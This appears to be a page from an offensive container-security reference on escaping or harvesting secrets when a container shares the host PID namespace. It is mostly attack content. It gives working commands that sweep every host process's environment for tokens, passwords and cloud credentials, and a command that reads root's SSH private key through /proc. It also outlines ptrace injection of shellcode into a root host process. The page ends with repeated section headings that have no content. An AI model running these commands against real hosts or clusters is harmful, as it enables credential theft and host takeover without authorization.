Host PID namespace

A container sharing the host PID namespace sees every host process in its own /proc. That exposes host command lines, environment variables, open file descriptors, and process roots for secret harvesting, and, combined with ptrace permission, allows injecting code into a root-owned host process to execute on the host.

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With --pid=host or hostPID: true, the container's PID namespace is the host's, so /proc lists every host process. This has two consequences: all host process metadata becomes readable, and, where ptrace is permitted, host processes become injection targets. The first is a near-guaranteed secret-harvesting win; the second is a full escape when a capability or matching UID allows writing another process's memory.

Confirm the shared namespace:

bash

readlink /proc/1/exe                        # host init path => host PID namespace
ls /proc | grep -E '^[0-9]+$' | wc -l       # host-wide process count
ps -ef | grep -vE '\]$' | head              # real host daemons listed

Routes#

bash

# Harvest secrets from host process environments and command lines
for p in /proc/[0-9]*; do tr '\0' '\n' < $p/environ 2>/dev/null; done | \
  grep -iE 'token|secret|key|pass|aws|kube' | sort -u

# Reach another process's filesystem via its root symlink
cat /proc/<root_pid>/root/root/.ssh/id_ed25519 2>/dev/null

# Inject into a root host process (needs ptrace permission / CAP_SYS_PTRACE)
# seize -> overwrite code at rip via /proc/<pid>/mem -> detach to run shellcode

The environment-variable sweep alone frequently returns cloud credentials, database passwords, and service-account tokens that pivot to the host or cluster without any further escape.

Exploitation notes#

Reading environ, cmdline, fd, and root of host processes needs only visibility plus, for other UIDs, sufficient privilege; it is low-noise information disclosure.
Code injection into a host process additionally needs ptrace permission; pair with CAP_SYS_PTRACE. The mechanics are the same as the ptrace injection route, here enabled by the host processes being visible.
In Kubernetes, hostPID pods commonly run alongside node daemons whose memory and environment hold kubelet or cloud credentials; see Host namespaces.

Host PID namespace

Routes#

Exploitation notes#

References#